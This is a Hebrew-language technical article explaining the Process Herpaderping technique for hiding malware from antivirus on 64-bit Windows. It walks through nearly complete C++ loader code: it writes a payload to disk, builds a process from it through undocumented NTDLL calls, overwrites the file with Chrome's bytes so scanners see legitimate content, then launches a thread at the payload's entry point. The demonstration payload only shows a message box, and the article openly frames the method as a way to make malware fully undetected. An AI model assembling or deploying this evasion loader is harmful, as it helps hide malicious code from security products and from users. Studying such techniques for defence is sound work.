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Process Herpaderping 

 דניאל איבקין מאת

 

 הקדמה

 Processלאחרונה, נוספה טכניקת הסוואת תהליכים חדשה לרשימת השיטות הקיימות והידועות, כמו

Hollowing ו-Process Doppelgänging לטכניקה החדשה קוראים .Process Herpaderping. 

הסוואת תהליכים הוא תחום חשוב ולוהט בקרב מפתחי נוזקות ואפילו "משתמשי" נוזקות אשר להם מושג 

ים(. מכיוון -skidרדוד יותר במחשבים ומשתמשים בכלים שניתן למצוא בחיפוש זריז בגוגל ללא הבנתם )

וירוסים הקיימים -( מפני האנטיFully Undetected) FUDכמה שיותר  שכל תוקף ירצה שהנוזקות שלו יהיו

, Mimikatzיודע כמו  Payload-על מחשבי הקורבנות, בזמן הסריקה, ובזמן הריצה. בין אם הוא משתמש ב

 או בין אם הוא משתמש בנוזקה חדשה, תמיד תיהיה לו מטרה להיות בעל הסוואה מלאה.

וירוס ברגע -שולחת התראה לתוכנות האנטי Windowsת ההפעלה שיטה זו מנצלת את הדרך בה מערכ

שתהליך חדש נוצר ברקע, בכך שהיא משנה את תוכן הקובץ של הנוזקה בתוכן לגיטימי מיד אחרי יצירת 

וירוסים לסרוק -התהליך, עוד לפני שהם מקבלים את ההתראה ממערכת ההפעלה. דבר זה גורם לאנטי

 וזקה עצמה, ולאשר את הרצתה.תוכן שגוי ולא את התוכן של הנ

ים מתבצעים -Syscallוירוסים פועלים וסורקים קבצי הרצה, על איך -במאמר זה אתמקד על הדרך בה אנטי

 .x64בארכיטקטורת  Windows. המאמר נכתב על PE, ועל הפורמט Windows-ב
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 התחלה

שאותה נסתיר, וכל מה שהיא  אשר תהווה את הנוזקה C-בשביל הדגמת השיטה, ניצור תוכנית פשוטה ב

 :”!I am the payload“עושה זה להדפיס למסך 

int main() 

{ 

    MessageBox(NULL, "I am the payload!", "Payload", MB_OK | 

MB_ICONINFORMATION); 

    return 0; 

} 

וניקוי משאבים. זוהי אחריותכם לבדוק  error checkingבמאמר לא יהיו קטעי קוד אשר עושים  :הערה

 שגיאות ולהגיב בהתאם, במידה ותעקבו אחר הקוד. כל קוד טוב בודק כל שגיאה אפשרית, ומנקה אחריו!

 

 קריאת קובץ הנוזקה

נרצה לקרוא את תוכן הנוזקה בשביל לכתוב אותו לקובץ חדש. כמובן שהנוזקה לא חייבת להיות על 

, unpacker-בקובץ של ה RC4או  XOR, לדוגמא, היא יכולה להיות שמורה ומוצפנת עם מלכתחילההדיסק 

 אך במאמר נניח שהיא כבר קיימת על הדיסק.

 :handleבל תכילה, נפתח את הקובץ ונק

HANDLE payload_file_handle = ::CreateFileA("payload.exe", 

GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | 

FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, 

FILE_ATTRIBUTE_NORMAL, nullptr); 

  :GetFileSizeשקיבלנו, נרצה לבדוק מהו גודל הנוזקה. נעשה זאת בעזרת הפונקציה  handle-בעזרת ה

DWORD payload_size = ::GetFileSize(payload_file_handle, nullptr); 

שלה )הפרמטר השני(,  out param-הביטים הגבוהים של גודל הקובץ אל תוך ה 23הפונקציה מחזירה את 

יגה, ’ג 4-לא עד כדי כך גדולה, כלומר, לא יותר מ הביטים הנמוכים כערך ההחזרה. נניח שהנוזקה 23ואת 

 הביטים הגבוהים. 23ולכן, לא נצטרך את 

שתיקח את  ReadFileלמערך בתים בגודל הנוזקה שמקודם השגנו, ונקרא לפונקציה  smart pointerניצור 

 :-bufferשל הקובץ ותקרא את תוכנו אל ה handle-ה

auto payload_bytes = std::make_unique<BYTE[]>(payload_size); 

::ReadFile(payload_file_handle, payload_bytes.get(), payload_size, nullptr, 

nullptr); 

 בזיכרון! מעולה, כעת יש לנו את תוכן הנוזקה 
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 יצירת קובץ חדש

! כפי שאמרנו מקודם, נרצה לכתוב אליו את Herpaderping-בשלב זה ניצור קובץ אשר נעשה איתו את ה

וירוסים יסרקו -התוכן של הנוזקה, ולאחר כמה שלבים נוספים, נשנה אותו בתוכן אחר לגמרי, כדי שהאנטי

 GENERIC_READ, הפעם עם ההרשאות CreateFileA-תוכן לגיטימי ויאשרו את הרצת הנוזקה. נקרא שוב ל

 :GENERIC_WRITE-ו

HANDLE herpaderping_file_handle = ::CreateFileA("herpaderp.exe", 

GENERIC_READ | GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 

FILE_ATTRIBUTE_NORMAL, nullptr); 

 :payload_bytesנכתוב אליו את תוכן הנוזקה הנמצא בתוך 

::WriteFile(herpaderping_file_handle, payload_bytes.get(), payload_size, 

nullptr, nullptr); 

 

NTDLL Functions 

NTDLL  הוא הממשק איתו תהליכיםusermode-ים )תהליכים בעלי הרשאות נמוכות, כלומר, ה-Current 

Privilege Level ניגשים לשירותי הקרנל. הפונקציות אשר השתמשנו מקודם במאמר, 0-שלהם גדול מ )

, לא באמת מבצעות את השירותים כמו פתיחת, קריאת, וכתיבת WriteFile-ו CreateFileA ,ReadFile,כמו 

-ות אותם לקבצים בעזרת קסמים, אלא בעזרת הקרנל. הן לוקחות את הפרמטרים ומידע נוסף, ומעביר

ntdll.dll:  

 

 [post/en/com.habr://https/485788/]מקור: 

-ב SYSENTERעושה את הכניסה אל הקרנל בעזרת האופקוד  ntdll.dll-לאחר מכן, הפונקציה המתאימה ב

x86 ובעזרת האופקוד ,SYSCALL ב-x64 בנוסף, הקרנל מקבל כפרמטר את האינדקס של השירות בתוך .

( אשר שומרת כתובות של System Service Descriptor Table) SSDTאוגר, ומשתמש בטבלה בשם 

https://habr.com/en/post/485788/
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ים, ובעזרתה ובעזרת האינדקס, הקרנל משיג את הכתובת של הפונקציה הרלוונטית. -syscall-פונקציות ה

 .SSDT Hookingהטבלה ידוע גם בזכות השיטה 

אין תיעוד רשמי מטעם מייקרוסופט, ולכן נצטרך לבדוק בגוגל אם קיים תיעוד  ntdll.dll-לרוב הפונקציות ב

, שהיא ReactOSלא רשמי במקורות מסויימים לפונקציות הרלוונטיות. מקור אחד הוא מערכת ההפעלה 

להריץ תוכנות ודרייברים , ומטרתה להיות מסוגלת Windowsהמחקה את  Open Sourceמערכת הפעלה 

 שלה ללא שום הבדל, ולהיראות באופן זהה.

 NTDLLשימוש בפונקציות 

 Windows.hכמו בפונקציות שאנחנו מכירים מתוך ההדרים  NTDLLאנחנו לא יכולים להשתמש בפונקציות 

ת ולקבל בשביל לטעון אותו דינאמי ntdll.dllאל הקובץ  Dynamic Linkageועוד, ולשם כך נצטרך לעשות 

, ונקבל את LoadLibraryAבעזרת  ntdll.dllאת הכתובות של הפונקציות הרלוונטיות לנו. נטען את 

 :GetProcAddressהכתובות של הפונקציות בעזרת 

HMODULE ntdll_handle = LoadLibraryA("ntdll.dll"); 

FARPROC proc_addr = GetProcAddress(ntdll_handle, "<Proc_Name>"); 

שנצטרך להשתמש בהן, אשים בתוך מחלקה בשם  ntdll-בהמשך המאמר, את כל פונקציות ה

NtdllFunctions הפונקציות הללו., אשר טענה דינאמית מראש את 

 וירוסים עובדים-כיצד אנטי

 וירוסים מודרניים עובדים במספר דרכים:-אנטי

. נוזקותוירוסים מחזיקות במאגרי נתונים ענקיים המכילים חתימות של -האנטי חברות - חתימות  

לצרף  אפשרכלל.  נקיים בקבצים מופיע לא אשר, נוזקהלסוג אחד של  הנפוץהיא רצף בתים  חתימה

 המחרוזות, שלה הגודל, הנוזקהשל  manifest-ה כמו, לחתימות להועיל יכול אשר נוסף מידע

הרצה שנמצא במחשבים  לקובץ זהה חתימהיש  מסוייםולקובץ הרצה  במידה. ועוד, שלה שבבינארי

 .אותו חוסםוירוס -האנטי, נוזקהאחרים וסומן בתור 

אשר מתנהגים  תהליכים הרצים ברקע. התהליכים כלוירוסים עוקבים אחר -אנטי -התנהגות  זיהוי  

 קריפטוגראפיבצורה מחשידה, כמו לפתוח פורט ולהאזין אליו, לפתוח הרבה קבצים, לבצע אלגוריתם 

התנהגויות  ועוד, Registry-ה עם פעילויותבחזרה,  הקובץ אותו אל ולכתובכלשהו על התוכן שלהם, 

 וירוס.-ומטופלים על ידי האנטי מיידיבאופן  נהרגיםחשודות, 

 לכל התעבורה ICMP Tunnelingלדוגמא, אם נוזקה כלשהי עושה  -אנומליות גם לוקחות חלק פה  

שנשלחו עד כה,  ICMP-וירוסים יכולים לשים לב לאנומליה בכמות הודעות ה-, האנטיC&C-שלה מול ה

 וכמובן בגודלן.
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 Reputation - ב-תוכנות האנטי( עזרת וירוס עוקבותMachine Learning אחר כמה מחשבים הורידו ) 

את הקובץ הנסרק מכל העולם, מאיפה הם הורידו אותו, כמה משתמשים בו כבר תקופה, לאיזו מטרה 

 .Reputationהם משתמשים בו, ועוד. מספרים גבוהים ונתונים טובים יביאו לאותו הקובץ 

PsSetCreateProcessNotifyRoutineEx 

ולמנוע אסון, הם  Loader-וירוסים יוכלו לסרוק קבצי הרצה העת הטענתם על ידי ה-שאנטיבשביל 

מבקשים ממערכת ההפעלה לקבל התראה לגבי כל תהליך חדש לפני הרצתו, ולהעביר להם את 

 ההחלטה אם לתת לו לרוץ או להרוג אותו.

שבעזרתה דרייברים יכולים לגרום  PsSetCreateProcessNotifyRoutineExלשם כך, קיימת הפונקציה 

להיקרא ברגע שתהליך נוצר או נסגר. מערכת ההפעלה תוסיף אותה לרשימה שלה,  callbackלפונקציית 

 רמטרים המזהים את אותו התהליך שנוצר או נסגר.ותקרא לה יחד עם פ

תקרא לפונקציה ברגע שהאובייקט של התהליך נוצר. למרבה הפתע,  Windows-אתם בטח חושבים ש

Windows תקרא לה רק ברגע שה-Thread ?הראשוני של התהליך נוצר. חושבים על מה שאני חושב 

 

 יצירת התהליך

עבור הקובץ שיצרנו, שבתוכו יש את תוכן  IMAGEמסוג  Sectionבשביל יצירת התהליך, נצטרך ליצור 

 הנוזקה:

HANDLE section_handle = nullptr; 

NtdllFunctions::_NtCreateSection(&section_handle, SECTION_ALL_ACCESS, 

     nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, herpaderping_file_handle); 

 שיצרנו: Section-ל handle-ניצור את אובייקט התהליך, ונביא לו את ה

HANDLE process_handle = nullptr; 

NtdllFunctions::_NtCreateProcessEx(&process_handle, PROCESS_ALL_ACCESS, 

nullptr, GetCurrentProcess(), PROCESS_CREATE_FLAGS_INHERIT_HANDLES, 

section_handle, nullptr, nullptr, FALSE); 

של הנוזקה, אך ללא מרכיבים נוספים, כמו  Section-מה שאנחנו בעצם עושים זה ליצור תהליך חדש עם ה

Thread ין עדיין ופרמטרים. מכיוון שבתהליך אThread-ים, כל ה-callback- ים הרשומים עדיין לא יקראו על

 ידי מערכת ההפעלה, מה שנותן לנו הזדמנות לשנות את הקובץ של הנוזקה!

שימו לב לפרמטר הרביעי של הפונקציה, תחשבו מה אפשר לעשות איתו, ומהן היתרונות  :טיפ פרו

 .ntdllבלהשתמש בפונקציות 

  

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
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 החלפת תוכן הקובץ

של הקובץ, אנחנו עדיין יכולים לעשות פעולות קריאה וכתיבה איתו.  handle-מכיוון שעוד לא סגרנו את ה

-השאלה עכשיו היא, במה נחליף את התוכן? התשובה היא בכל תוכנה לגיטימית ומזוהה על ידי האנטי

 .Google Chromeוירוסים כנקייה ובטוחה, כמו 

 נפתח אותו ונקרא את תוכנו: .Google Chrome-לשם הדוגמא, נבחר ב

HANDLE chrome_file_handle = CreateFileA("<Chrome_Path>", GENERIC_READ, 

0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); 

auto chrome_file_size = GetFileSize(chrome_file_handle, nullptr); 

auto chrome_file_content = std::make_unique<BYTE[]>(chrome_file_size); 

::ReadFile(chrome_file_handle, chrome_file_content.get(), chrome_file_size, 

nullptr, nullptr); 

, מצביע שממנו פעולות קריאה וכתיבה יתחילו, File Pointer-מכיוון שביצענו כתיבה אל הקובץ מקודם, ה

, ואז SetFilePointerכרגע מצביע על הסוף שלו. נרצה לאתחל אותו להתחלת הקובץ בעזרת הפונקציה 

יותר גדול מהנוזקה, ולכן לא  Chromeלכתוב אליו את הבתים שלו )אנחנו מניחים שגודל הבינארי של 

 נטפל במקרה שבו גודלו קטן יותר, ונצטרך לנקות את הבתים שנותרו(:

::SetFilePointer(herpaderping_file_handle, 0, nullptr, FILE_BEGIN); 

::WriteFile(herpaderping_file_handle, chrome_file_content.get(), 

chrome_file_size, nullptr, nullptr); 
 מעולה, עכשיו יש לנו תוכן שונה לגמרי בקובץ שממנו התהליך נוצר!

 

 תיקונים בתהליך

התחלתי ואין לו פרמטרים.  Threadכפי שאמרנו, האובייקט של התהליך שיצרנו כרגע "ריק", כלומר, אין לו 

 כדי לגרום לו לרוץ בהצלחה, עלינו ליצור אותם במיוחד בשבילו.

 יצירת הפרמטרים

עם הפרמטרים  RtlCreateProcessParametersExבשביל ליצור את הפרמטרים, נצטרך לקרוא לפונקציה 

, אתר מאוד מומלץ Project Vergiliusהרלוונטים )כל המימושים של המבנים בהם אשתמש נלקחו מהאתר 

 (:Windowsלמבנים לא מתועדים של 

PRTL_USER_PROCESS_PARAMETERS process_parameters = nullptr; 

UNICODE_STRING image_path_name; 

UNICODE_STRING command_line; 

UNICODE_STRING title; 

UNICODE_STRING desktop_info; 

PROCESS_BASIC_INFORMATION current_process_pbi; 

PEB64 current_process_peb; 

https://www.vergiliusproject.com/
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 בואו נסביר אחד אחד:יש כאן הרבה משתנים מסוגים שונים. 

 process_parameters - תהליךהמשתנה שיכיל את הכתובת של המבנה של הפרמטרים ל. 

 image_path_name -  מחרוזתUnicode אשר מכילה את המיקום המלא של ה-Image. 

 command_line - הפרמטרים שאנחנו נותנים ל-Image מסויים לפני הרצתו ב-CLI  :למשל . 

image.exe foo bar baz 

תמיד יעביר כהפרמטר הראשון את המיקום המלא של הקובץ, ולכן, זה גם מה  Loader-נהוג שה  

 שאנחנו נעשה בהמשך.

 title - הכותרת של התהליך. בדרך כלל נראה את הכותרת בחלון של ה-CLI .של התוכנית 

 desktop_info - ה-Window Station .עליו התהליך ירוץ 

 current_process_pbi -  יכיל מידע מסויים על התהליך הנוכחי, וממנו נרצה להשיג את הכתובת של 

 ולמה נצטרך אותו יבוא בהמשך. PEB. הסבר על PEB-ה

 current_process_peb - משתנה שיכיל את ה-PEB .של התהליך הנוכחי 
 

 PEBהמבנה 

PEB (Process Environment Block הוא מבנה מיוחד אשר מכיל מידע על תהליך ) מסויים, כמו האם

-, כתובת הבסיס אליה הAnti-Debugging( ומשמש נוזקות עבור BeingDebuggedמדבגים אותו )השדה 

Loader  השדה( טען את התהליך בזיכרוןImageBaseAddress ועוד הרבה מאוד שדות, כאשר אחד מהם ,)

 (.ProcessParametersמכיל הפרמטרים של התהליך )השדה 

 איתחול הפרמטרים

 :RtlInitUnicodeStringכעת נרצה לאתחל את הפרמטרים. בכדי לאתחל את המחרוזות, קיימת הפונקציה 

FORCEINLINE VOID RtlInitUnicodeString( 

    _Out_ PUNICODE_STRING DestinationString, 

    _In_opt_ PCWSTR SourceString) 

{ 

    if (SourceString) 

        DestinationString->MaximumLength = 

  (DestinationString->Length = (USHORT)(wcslen(SourceString) * 

  sizeof(WCHAR))) + sizeof(UNICODE_NULL); 

    else 

        DestinationString->MaximumLength = DestinationString->Length = 0; 

 

    DestinationString->Buffer = (PWCH)SourceString; 

} 

מכיוון שיש לה מימוש יחסית פשוט, נוכל להשתמש ישירות במימוש הנ"ל, במקום לקרוא לה מתוך 

ntdll.dll. 
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 כעת אנחנו יכולים לאתחל את כל המשתנים:

NtdllFunctions::_NtQueryInformationProcess(GetCurrentProcess(), 

ProcessBasicInformation,  

&current_process_pbi, 

sizeof(current_process_pbi),  

nullptr); 

 

current_process_peb = *current_process_pbi.PebBaseAddress; 

RtlInitUnicodeString(&image_path_name, L"<Image_Full_Path>"); 

RtlInitUnicodeString(&command_line, L"\"<Image_Full_Path>\""); 

RtlInitUnicodeString(&title, L"You have been herpaderped!"); 

RtlInitUnicodeString(&desktop_info, L"WinSta0\\Default"); 

 

NtdllFunctions::_RtlCreateProcessParametersEx(&process_parameters, 

&image_path_name,  

nullptr,  

nullptr,  

&command_line, 

current_process_peb.ProcessParameters->Environment, 

&title,  

&desktop_info,  

nullptr,  

nullptr,  

0); 
 

 NtQueryInformationProcessהנוכחי, אנחנו משתמשים בפונקציה  של התהליך PEB-בשביל לקבל את ה

, current_process_abi, כדי שתאתחל את המשתנה ProcessBasicInformationונותנים לה את הערך 

(. PebBaseAddressשלו )השדה  PEB-שגם הוא מכיל מידע מסויים על התהליך, הכולל את הכתובת של ה

 לפוינטר הזה. dereference, פשוט נעשה PEB-בשביל לקרוא את ה

ומעבירים לה  RtlCreateProcessParametersExלאחר אתחול המחרוזות, אנחנו בעצם קוראים לפונקציה 

את כל המשתנים הללו. אחד מהפרמטרים שלה הוא משתני הסביבה שיהיו לתהליך, וכדי לתת לפונקציה 

י הסביבה של התהליך הנוכחי, בעזרת השדה משתני סביבה אמיתיים ולא ריקים, ניתן את משתנ

Environment .של הפרמטרים של התהליך הנוכחי 
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 השמת הפרמטרים אל תוך התהליך

בעצם שומר את הפרמטרים של התהליכים.  PEBבתוך המבנה  ProcessParametersכפי שראינו, השדה 

 גע יצרנו.לתהליך שלנו כרגע אין פרמטרים, ולכן נרצה לתת לו את הפרמטרים שהר

 Virtual Memory-מכיוון שהשדה הזה הוא בעצם מצביע, הוא חייב להחזיק כתובת השייכת לאותו ה

Space  של אותו התהליך. לא נוכל לתת את הכתובת של הפרמטרים שלנו, מכיוון שהם חיים במרחב

וזקה, לכתוב אל זיכרון שונה, כלומר, בתהליך שונה. לשם כך, נרצה להקצות זיכרון בתוך התהליך של הנ

 PEB-הנמצא בתוך ה ProcessParametersתוך הזיכרון שאילקצנו את הפרמטרים, ואז לעדכן את השדה 

 של התהליך לכתובת של הזיכרון החדש.

 של התהליך: PEB-לביינתים, נצטרך רק את הכתובת של ה

PROCESS_BASIC_INFORMATION pbi; 

NtdllFunctions::_NtQueryInformationProcess(process_handle, 

ProcessBasicInformation, &pbi, sizeof(pbi), nullptr); 

 :ProcessParametersכעת, בעזרת כתובת הבסיס של המבנה, נוכל לעדכן את השדה  

auto process_memory = VirtualAllocEx(process_handle, nullptr, 

process_parameters->MaximumLength + process_parameters-

>EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 

 

process_parameters->Environment = reinterpret_cast<PBYTE>(process_memory) 

+ process_parameters->Length; 

 

WriteProcessMemory(process_handle, process_memory, process_parameters, 

process_parameters->MaximumLength + 

process_parameters->EnvironmentSize, nullptr); 

 

WriteProcessMemory(process_handle, reinterpret_cast<PBYTE>(pbi.PebBaseAddre

ss) + offsetof(PEB64, ProcessParameters), &process_memory, 

sizeof(process_memory), nullptr); 

 לתהליך! Threadסיימנו עם הפרמטרים, כעת נשאר לנו רק ליצור 
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 Threadיצירת  -השלב הסופי 

ההתחלתי בתהליך של הנוזקה, כדי שהוא יתחיל  Thread-הגענו לשלב הסופי, שבו אנחנו מייצרים את ה

 PE (Portableים הוא DLL-, הפורמט לקבצי הרצה וWindows-לרוץ? כידוע, בלרוץ. אך איפה הוא יתחיל 

Executable הפורמט מחזיק את כל המידע של הקובץ, בין אם זה כמה קטעים .)(Sections)  יש לו, כמו

.text ,.bss ,.data ,.rodataועוד, ובין אם זאת כתובת הכניסה, כלומר, כתובת ה ,-Entry point שאותה ,

. הפורמט מתחלק לכמה חלקים )הרשימה לא תכיל את כולם למען Thread-ו צריכים בשביל יצירת האנחנ

 הפשטות(:

 MS-DOS Headers -  חלק שנלקח עוד מהתקופה של מערכת ההפעלהMS-DOS  ללא שינוי, המכיל 

על הקובץ. הסיבה שהוא לא השתנה כלל, היא בגלל שמערכות הפעלה ישנות יוכלו עדיין  מידע מסויים

 לטעון חלק כלשהו ולזהות שזה קובץ לא מתאים.

 MS-DOS Stub -  במידה והקובץ הורץ במערכת ההפעלהMS-DOS  במצבReal Mode הוא יריץ קוד , 

 .”This program cannot be run in DOS mode“הנשמר בחלק זה, המדפיס את ההודעה 

 PE Signature -  קטע המכיל את החתימה )מספר הקסם( של הפורמט בגודל ארבעה בתים. החתימה 

 .”PE\0\0“היא: 

 File Header -  חלק המכיל שדות כמוMachine  המתאר את הארכיטקטורה של הקובץ בה הוא נועד 

 .Symbols-המצביע על טבלת ה PointerToSymbolTableלרוץ, וכמו 

 Optional Header -  חלק שהוא לא באמת אופציונלי. הוא מכיל את רוב המידע המשמעותי לגבי קובץ 

ההרצה, למשל כתובת בסיס מועדפת, גודל התחלתי עבור המחסנית, גרסאת מערכת ההפעלה, 

 .Entry Point-והכתובת של ה

 .PEבשביל ניתוח קבצי  PE Bear-ו CFF Explorerאני ממליץ על הכלים 

 Optional-בעזרת ה Thread-עבור ה Entry Point-כפי שבטח שמתם לב, נוכל להשיג את הכתובת של ה

Header של הקובץ. לגשת אל ה-DOS Header אינה בעיה כלל, אך בשביל לגשת אל ה-Optinal Header ,

 של ההדר החל מתחילת offset-אשר מחזיק את ה DOS Header-מתוך ה e_lfanewנצטרך את השדה 

 הקובץ:

const PIMAGE_DOS_HEADER payload_dos_header = 

reinterpret_cast<PIMAGE_DOS_HEADER>(payload_bytes.get()); 

const PIMAGE_NT_HEADERS64 payload_nt_headers = 

reinterpret_cast<PIMAGE_NT_HEADERS64>(payload_bytes.get() + 

payloadDOSHeader->e_lfanew); 
 

 .Optinal Header-, ואת הFile Header-יש את החתימה, את ה payload_nt_headersבתוך 

, ולחבר Entry Point-של הקובץ, נרצה להשיג את כתובת ה Optional Header-עכשיו שיש לנו גישה ל

 אותה יחד עם כתובת הבסיס של התהליך. 
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 שלו: PEB-מהי כתובת הבסיס שלו, נצטרך לקרוא את הכדי לדעת 

PEB64 process_peb; 

::ReadProcessMemory(process_handle, pbi.PebBaseAddress, &process_peb, 

sizeof(process_peb), nullptr); 

 

 :Entry Point-עכשיו אנחנו יכולים לחשב את הכתובת הוירטואלית של ה

ULONGLONG entry_point = payload_nt_headers->OptionalHeader.AddressOfEntryPoint 

+ process_peb.ImageBaseAddress; 

 

 :Entry Point-בתהליך, ונעביר אליו את הכתובת הוירטואלית של ה Threadניצור  -ולדובדבן שבקצפת 

NtdllFunctions::_NtCreateThreadEx(&thread_handle, THREAD_ALL_ACCESS, nullptr, 

process_handle, reinterpret_cast<PVOID>(entry_point), nullptr, 0, 0, 0, 

0, nullptr); 

 

וירוס יקבלו התראה ממערכת ההפעלה לגבי התהליך שלנו. הן יסרקו את -בדיוק ברגע זה, תוכנות האנטי

 !Google Chromeהקובץ שלו, ובעצם יגלו שהן בעצם סורקות את 

 

 התוצאות

 :Process Hacker-בואו נסתכל על התהליך שלנו ב

 

הדיגיטלית! קובץ עם חתימה דיגיטלית נותן לא רק שזייפנו את התוכן של הקובץ, גם זייפנו את החתימה 

 וירוסים וגם עבור משתמשים רגילים, אך זהו לא המצב אצלנו.-תחושה שהוא לגיטימי ונקי, גם עבור אנטי

 בואו נסתכל גם על הפרמטרים שהעברנו לו:
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 וכמובן הרצת הנוזקה שלנו:

 

 סיכום

עובדות מאחורי הקלעים,  ntdll.dll-כיצד קריאות לוירוסים עובדים, -במהלך המאמר, ראינו כיצד אנטי

 callback-קוראת לפונקציות ה PsSetCreateProcessNotifyRoutineExודיברנו על הדרך בה הפונקציה 

מנצלת. אולם לשיטה יש את החיסרון הבולט  Process Herpaderpingשברשימה שלה, שאותה השיטה 

ן נותנת בראש ויכולה אפילו לזייף חתימות דיגיטליות ולעבוד על שביטים זדוניים נוגעים בדיסק, היא עדיי

ועוקבים אחר תהליכים עם שם  Task Managerוירוסים ועל המשתמשים הממוצעים, שפותחים -האנטי

לא הצליחו כלל לזהות את השיטה כאשר  Microsoftחשוד. יוצר השיטה טוען כי מוצרי אבטחה רבים של 

 הוא השתמש בנוזקה ידועה.

 

 קישורים
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 https://doxygen.reactos.org/  
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